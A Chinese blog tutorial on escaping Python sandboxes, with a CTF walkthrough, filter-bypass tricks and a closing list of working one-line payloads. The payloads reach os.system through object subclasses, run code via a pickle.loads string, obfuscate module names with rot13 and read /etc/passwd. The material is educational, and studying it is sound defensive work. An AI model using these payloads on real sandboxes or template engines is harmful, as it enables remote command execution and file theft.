前言

python沙箱逃逸主要是用于一些沙箱环境,如一些OJ或者一些在线交互终端,以及jinja2这种python模板解释器

沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤

沙箱逃逸就是要逃离这种限制,让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的

下面大部分用的是python2,python3会特殊说明。

利用函数

os 执行系统命令

import os
os.system('ipconfig')

exec 任意代码执行

exec('__import__("os").system("ipconfig")')

eval 任意代码执行

eval('__import__("os").system("ipconfig")')

timeit 本是检测性能的,也可以任意代码执行

import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

platform

import platform
platform.popen('ipconfig').read()

subprocess

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

file

file('/etc/passwd').read()

open

open('/etc/passwd').read()

codecs

import codecs
codecs.open('/etc/passwd').read()

常见函数详解

func_globals

返回包含函数全局变量的字典引用,定义函数的模块和全局命名空间

>>> def test():pass
...
>>> test.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'test': <function test at 0x00000000038F90B8>, '__doc__': None, '__package__': None}
>>> test.func_globals['__builtins__']
<module '__builtin__' (built-in)>
>>> test.func_globals['__builtins__']()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> test.func_globals['__builtins__'].keys()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'keys'
>>> test.func_globals['__builtins__'].__dict__.keys()
['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', '_', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError', 'WindowsError']
>>> test.func_globals['__builtins__'].__dict__['print']('archerx')
archerx

getattribute

被调用无条件地实现类的实例的属性访问。

  1. getattribute(self, name)
  2. self 必需的。类的实例,在调用时自动传递。
  3. name 必需的。属性的名称。
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
或者
 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')

dict

模块对象有一个由dictionary对象实现的名称空间(这是由模块中定义的函数的func_globals属性引用的字典)。属性引用在本词典中被翻译为查找,例如,
m.x相当于m.dict [“x”]。

>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> ''.__class__.split
<method 'split' of 'str' objects>
>>> ''.__class__.__dict__["split"]
<method 'split' of 'str' objects>

dir

显示对象的属性名称,__dict__是dir()的子集

>>> ''.__class__.__dict__.keys()
['upper', '__format__', '__getslice__', 'startswith', 'lstrip', 'capitalize', '__str__', '__getattribute__', 'rpartition', 'replace', 'isdigit', 'endswith', 'splitlines', 'expandtabs', 'strip', '__rmul__', '__lt__', 'ljust', '__rmod__', 'index', '__getnewargs__', '__new__', 'isalnum', '__contains__', 'rindex', 'rsplit', 'format', 'find', 'decode', 'isalpha', 'split', 'rstrip', 'encode', '_formatter_parser', 'translate', 'isspace', '__len__', '__mul__', '__ne__', '__getitem__', 'rjust', 'swapcase', 'islower', 'zfill', '__doc__', '__add__', '__gt__', '__eq__', '__sizeof__', 'count', 'lower', 'join', 'center', '__mod__', 'partition', 'rfind', 'istitle', '__le__', '__repr__', '_formatter_field_name_split', '__hash__', 'title', 'isupper', '__ge__']
>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

base

每个类都有一个__base__属性能列出其基类

注:__base__和__bases__的区别,他们都返回当前类的基类,__bases__返回的是一个元组

>>> ''.__class__
<type 'str'>
>>> ''.__class__.__base__
<type 'basestring'>
>>> ''.__class__.__bases__
(<type 'basestring'>,)

mro

递归的显示父类一直到object

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

__subclasses__()

获取子类

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

import

import一个模块

>>> __import__('os').system('dir')
 驱动器 C 中的卷是 Windows 10
 卷的序列号是 6A66-D7D3

builtin

python内建模块,该内建模块中的功能可以直接使用,不用在前面添加内建模块前缀。

在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。

builtins

是对内建模块的一个引用
这个和__builtin__有一些区别

  1. 无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用
  2. __builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块
在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此

不在主模块__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典。

详情看这里:https://blog.51cto.com/xpleaf/1764849

reload

重载之前导入的模块

reload(module)

>>> import os
>>> reload(os)
<module 'os' from 'C:\Python27\lib\os.pyc'>

getattr

返回对象的命名属性的值

getattr(object,name)

相当于object.name ,name必须是字符串

>>> class test():
...     name = 'archerx'
...
>>> a = test()
>>> a.name
'archerx'

name

这个值获得是一个字符串,不是模块的引用。

使用sys.modules[__name__]才是模块的引用

>>> sys.modules['__main__']
<module '__main__' (built-in)>

timeit

这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
使用前需要导入timeit

使用:timeit(命令,number=1) 其中命令是字符串形式

>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)

platform

由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令

print platform.popen('命令',mode='r',bufsize= -1).read()

globals

function.__globals__ 等同于globals(),dir() 的结果是上面两个的键值

在fuzz 中常常和 init__配合使用,__init 一般跟在类的后面,相当于实例化这个类

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

call

使实例能够像函数一样被调用
x.call 等同于 x()

>>> def test():
...     pass
...
>>> test.__call__
<method-wrapper '__call__' of function object at 0x00000000038F90B8>

pickle

这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化

基本的语法:
序列化:

import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)

反序列化:

n=pickle.loads(p)

我们可以通过 pickle 的方式加载命令

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")  #引入包后直接执行该命令即可

os/subprocess/commands

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
  1. subprocess.run()
    Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
  2. subprocess.call()
    执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
  3. subprocess.check_call()
    Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
  4. subprocess.check_output()
    Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
  5. subprocess.getoutput(cmd)
    接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
  6. subprocess.getstatusoutput(cmd)
    执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

eval/exec/execfile

  1. eval(expression):返回python 表达式执行的结果
  2. exec(source)
    动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。
  3. execfile(filename)
    执行一个文件的内容

文件是将被解析为python序列的类似于模块的文件

importlib模块

替代import

import importlib
importlib.import_module(module)

例子

在网上找到很多年前一道ctf题,算是一种经典逃逸方式。

from __future__ import print_function

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')  #除了下面两种内置函数其余全部删除
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

看代码删除了内置函数,以及禁止了一些字符

这种题首先你是看不到后端代码的,那就先看一下内置函数:

>>> print([].__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__'].keys())
['print', 'raw_input']
>>> [].__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['print']('archerx')
archerx

看到没有啥能利用的,除了打印个字符串……

尝试重新引入builtins模块,import被过滤,并且无法拼接。

>>> (__import__('imp')).reload(__builtins__)
No bueno

顺着这个思路继续往下,execfile函数导入,但是exec字符串被过滤

解法

方法一
>>> print([].__class__)   #获取当前对象类
<type 'list'>
>>> print([].__class__.__base__)  #获取基类
<type 'object'>
>>> print([].__class__.__base__.__subclasses__())  #获取object类的子类列表
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
>>> print([].__class__.__base__.__subclasses__()[40])  #找到一个可以利用的子类
<type 'file'>
>>> print([].__class__.__base__.__subclasses__()[40]('flag.txt').read())  #读取文件
flag{test}
方法二(执行系统命令)
>>> ().__class__.__bases__[0].__subclasses__()
>>> print(().__class__.__bases__[0].__subclasses__())  
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
>>> print(().__class__.__bases__[0].__subclasses__()[59])#获取warnings.WarningMessage类
<class 'warnings.WarningMessage'>
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__)       #执行__init__后获取全局变量
<unbound method WarningMessage.__init__>

# func_globals返回一个包含函数全局变量的字典引用
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals)
{'filterwarnings': <function filterwarnings at 0x0000000002B43BA8>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x0000000002B43B38>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x0000000002B43DD8>, 'showwarning': <function _show_warning at 0x0000000002B43B38>, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x0000000002B43C88>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x0000000002B43EB8>, '__builtins__': {'print': <built-in function print>, 'raw_input': <built-in function raw_input>}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': 'C:\\Python27\\lib\\warnings.pyc', 'warnpy3k': <function warnpy3k at 0x0000000002B43C18>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from 'C:\Python27\lib\types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x0000000002B43D68>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from 'C:\Python27\lib\linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x0000000002B43CF8>, 'formatwarning': <function formatwarning at 0x0000000002B43AC8>, '_getaction': <function _getaction at 0x0000000002B43E48>}
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'])
<module 'linecache' from 'C:\Python27\lib\linecache.pyc'>

#然后获取linecache模块(其中包含了os模块)

>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__)
{'updatecache': <function updatecache at 0x0000000002B43A58>, 'clearcache': <function clearcache at 0x0000000002B43908>, '__all__': ['getline', 'clearcache', 'checkcache'], '__builtins__': {'print': <built-in function print>, 'raw_input': <built-in function raw_input>}, '__file__': 'C:\\Python27\\lib\\linecache.pyc', 'cache': {}, 'checkcache': <function checkcache at 0x0000000002B439E8>, 'getline': <function getline at 0x0000000002B43898>, '__package__': None, 'sys': <module 'sys' (built-in)>, 'getlines': <function getlines at 0x0000000002B43978>, '__name__': 'linecache', 'os': <module 'os' from 'C:\Python27\lib\os.pyc'>, '__doc__': 'Cache lines from files.\n\nThis is intended to read lines from modules imported -- hence if a filename\nis not found, it will look down the module search path for a file by\nthat name.\n'}

#获取os模块执行系统命令

>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem'])
<built-in function system>

# __dict__是一个字典,键为属性名,值为属性值
#由于对输入的字符进行了限制,所以要找个利用字符串获取指定模块的方式,方便进行拼接绕过。 

>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('dir'))
 驱动器 F 中的卷是 文件
 卷的序列号是 904F-2D88

 F:\pycharm\sdutsec_web3\test 的目录

2019/03/17  21:56    <DIR>          .
2019/03/17  21:56    <DIR>          ..
2019/03/17  21:56               828 ctf1.py
2019/03/17  20:22                10 flag.txt
2019/03/13  22:17               385 get_func.py
2019/03/13  21:46               339 test.py
2019/03/17  21:27               247 test1.py
2019/03/17  21:41                99 test2.py
               6 个文件          1,908 字节
               2 个目录  8,201,535,488 可用字节

防御&绕过

禁止引入敏感包

比如通过正则匹配之类的,拒绝import os、import commands之类的语句出现
这是最低级的一种防御措施,可以通过一些编码来进行混淆

f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

或者配合getattr函数

import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

或者进行一些base64,倒序之类的。
总之,只要找到一个以字符形式执行代码的总是会有办法的

删除__builtins__中的函数

就比如之前那个ctf例子中的

for x in targets:
    del __builtins__.__dict__[x]

可以通过reload重新导入__builtins__模块reload(__builtins__)

reload也是__builtins__中的一个函数,假如它也被删了的话,还可以尝试一个imp的模块

import imp
imp.reload(__builtins__)

修改sys.modules

由于import导入包时,是从sys.path中去导入对应的包
防御者可能会对其进行修改,导致无法导入想要的模块

这时可以自己尝试修改模块的位置sys.modules['os']='/usr/lib/python2.7/os.py'
或者尝试运行一遍os.py,也就相当于导入了一次os模块

execfile('/usr/lib/python2.7/os.py')
过滤import关键字
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')


import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')


__import__('os').system('ls')
如果把sys.modules['os']设置为None

sys.modules['os'] = None

只要文件再就能引用,使用绝对路径引入

import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os
sys 也被del

文件还在我们就直接用文件,import 的本质就是把对应的模块文件执行一遍(与下面函数一样)

execfile('/usr/lib/python2.7/os.py')

system('cat /etc/passwd')
execfile 也被过滤

用文件读取函数读入文件,然后再exec() 也能实现一样的效果

(把整个文件以字符串方式执行)

>>> f = open('C:\Python27\Lib\os.py','r')
>>> system('dir')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'system' is not defined
>>> exec(f.read())
>>> system('dir')
 驱动器 C 中的卷是 Windows 10
 卷的序列号是 6A66-D7D3

补充

python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord。

python安装目录结构:

DLLs: Python 自己使用的动态库
Doc: 自带的 Python 使用说明文档(如果上面安装时不选择,应该会没有,这个没具体试过)
include: 包含共享目录
Lib: 库文件,放自定义模块和包
libs: 编译生成的Python 自己使用的静态库
Scripts: 各种包/模块对应的可执行程序。安装时如果选择了pip。那么pip的可执行程序就在此!
tcl: 桌面编程包

poc

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')



python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

参考

仅有一条评论

preView